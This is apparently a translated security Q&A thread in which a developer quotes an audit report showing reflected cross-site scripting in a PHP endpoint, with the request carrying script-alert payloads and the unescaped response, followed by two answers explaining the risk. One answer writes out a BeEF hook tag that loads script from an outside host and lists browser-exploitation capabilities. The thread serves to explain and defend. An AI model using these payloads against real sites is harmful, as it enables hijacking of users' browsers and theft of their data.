GET con parámetros adicionales lleva a "inyección de código" en el código HTML que se muestra

6

Recibimos una revisión de seguridad de nuestro código PHP y la compañía de seguridad lo envió en su informe:

Solicitud

GET /appdir/ajax/addAvail.php?counter=1216%3cscript%3ealert(0)%3c%2fscript%3e&from=1216%3cscript%3ealert(0)%3c%2fscript%3e&to=1216%3cscript%3ealert(0)%3c%2fscript%3e&day=1216%3cscript%3ealert(0)%3c%2fscript%3e&parentDiv=1216%3cscript%3ealert(0)%3c%2fscript%3e&type=1216%3cscript%3ealert(0)%3c%2fscript%3e&date=1216%3cscript%3ealert(0)%3c%2fscript%3e&showdate=1216%3cscript%3ealert(0)%3c%2fscript%3e
HTTP/1.1 
Host: localhost 
Proxy-Connection: keep-alive 
User-Agent: x 
Content-Length: 0 
Cache-Control: max-age=0 
Origin: null 
Accept: text/html 
Accept-Language: en-US,en;q=0.8 
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 

Respuesta

HTTP/1.1 200 OK 
Date: Fri, 17 Dec 2010 00:46:48 GMT 
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1 
X-Powered-By: PHP/5.3.1 
Set-Cookie: PHPSESSID=q832q9c0ftdsat8r55dg32taf7; path=/ 
Expires: Thu, 19 Nov 1981 08:52:00 GMT 
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 
Pragma: no-cache 
Content-Length: 928 
Content-Type: text/html 
<div class="time_row" id="days_time_container1216<script>alert(0)</script>"> 
<div class="day_holder">1216<script>alert(0)</script></div> 
<div class="time_holder">1216<script>alert(0)</script> <span>-</span> 1216<script>alert(0)</script></div> 
<div class="button_holder"><a href="javascript:void(0);" onClick="removeElement('1216<script>alert(0)</script>','days_time_container1216<script>alert(0)</script>','decrementDays')" class="link4">Remove</a></div> 
<div class="clear"></div> 
<input type="hidden" id="hday1216<script>alert(0)</script>" name="hday1216<script>alert(0)</script>" value="1216<script>alert(0)</script>"> 

<input type="hidden" id="hfrom11216<script>alert(0)</script>" name="hfrom11216<script>alert(0)</script>" value="1216<script>alert(0)</script>"> 
<input type="hidden" id="hto11216<script>alert(0)</script>" name="hto11216<script>alert(0)</script>" value="1216<script>alert(0)</script>"> 
</div>

Si accedo directamente al script a través de FireFox (encabezados informados por FireBug)

/appdir/ajax/addAvail.php

HTTP/1.1 200 OK
Date: Sat, 25 Dec 2010 03:30:54 GMT
Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4
X-Powered-By: PHP/5.3.2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0, private, no-cache, no-store, proxy-revalidate, no-transform
Pragma: no-cache, no-cache
Vary: Accept-Encoding,User-Agent
Content-Encoding: gzip
Content-Length: 253
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

<div class="time_row" id="days_time_container">
<div class="day_holder"></div>
<div class="time_holder">   <span>-</span>   </div>
<div class="button_holder"><a href="javascript:void(0);" onClick="removeElement('','days_time_container','decrementDays')" class="link4">Remove</a></div>
<div class="clear"></div>
<input type="hidden" id="hday" name="hday" value="">

<input type="hidden" id="hfrom1" name="hfrom1" value="">
<input type="hidden" id="hto1" name="hto1" value="">
</div>

Estoy tratando de entender por qué esto podría ser problemático. Por supuesto, le preguntaré a la compañía de seguridad, pero también estoy tratando de evaluarlos y ver qué tiene que decir la comunidad antes de que me den una respuesta indirecta.

También, esto está relacionado con Revisión de seguridad: "El usuario-agente del encabezado HTTP se ha configurado en (algo)" en el sentido de que ambos problemas se identificaron en el mismo informe.

    
pregunta siliconpi 25.12.2010 - 04:51
fuente

2 respuestas

8

XSS puede ser muy peligroso de muchas maneras.

Por ejemplo, si inyecto el siguiente bit de XSS en tu código, todos los clientes que vean este código con Javascript activado se convertirán en un zombi en mi BEEF-Framework (Browser Exploitation Framework):

<script src='http://10.0.0.100/beef/hook/beefmagic.js.php'></script>

Una vez que alguien navega por una página con esa inclusión de script, el marco me avisa automáticamente y básicamente me permite elegir entre una caja de herramientas de cosas desagradables. Para nombrar algunos, que todos pueden configurarse para que se ejecuten automáticamente cuando se registre un nuevo zombi:

  • Módulos de explotación del navegador (incluso integrados con Metasploit)
  • Metasploit autopwn (yepp .. un clic un pwn)
  • LAN de escaneo de puertos
  • Detección de tor
  • Registro de teclas
  • Vea lo que el usuario ve funcionalidad
  • Páginas visitadas de fuerza bruta
  • Robo de portapapeles
  • Detectar complementos

¡El XSS puede ser muy peligroso!

ACTUALIZACIÓN: En su situación específica, me parece que está viendo una vulnerabilidad XSS no persistente. Esto significa que para que esta vulnerabilidad pueda afectar a otros usuarios, los atacantes tendrían que distribuir la URL a las víctimas confiadas para que la carguen. Sin embargo, esto no es una vista poco común.

    
respondido por el Chris Dale 25.12.2010 - 13:14
fuente
6

Este es un vulnerabilidad XSS clásica . El peligro aquí es que un atacante externo podría inyectar un código aleatorio en la página. Si esta página se muestra en un contexto de privilegio elevado, es esencialmente igual a que el atacante tenga control sobre el navegador del usuario cuando accede a esta página, por lo tanto, el atacante podrá realizar cualquier acción que el usuario pueda realizar. Por ejemplo, si es un sitio de comercio electrónico, el atacante podría simular que el usuario compra algo, incluso si el usuario no tiene la intención de comprar nada. Puedes imaginar lo malo que puede ser.

Ya que hay muchas maneras de indicar a alguien que cargue cierta URL, tanto abierta ("haga clic en este enlace para obtener toneladas de material gratis!") y encubierta (marcos ocultos, etc.), tener tal cosa en el sitio es muy peligroso.

    
respondido por el StasM 25.12.2010 - 07:29
fuente

Lea otras preguntas en las etiquetas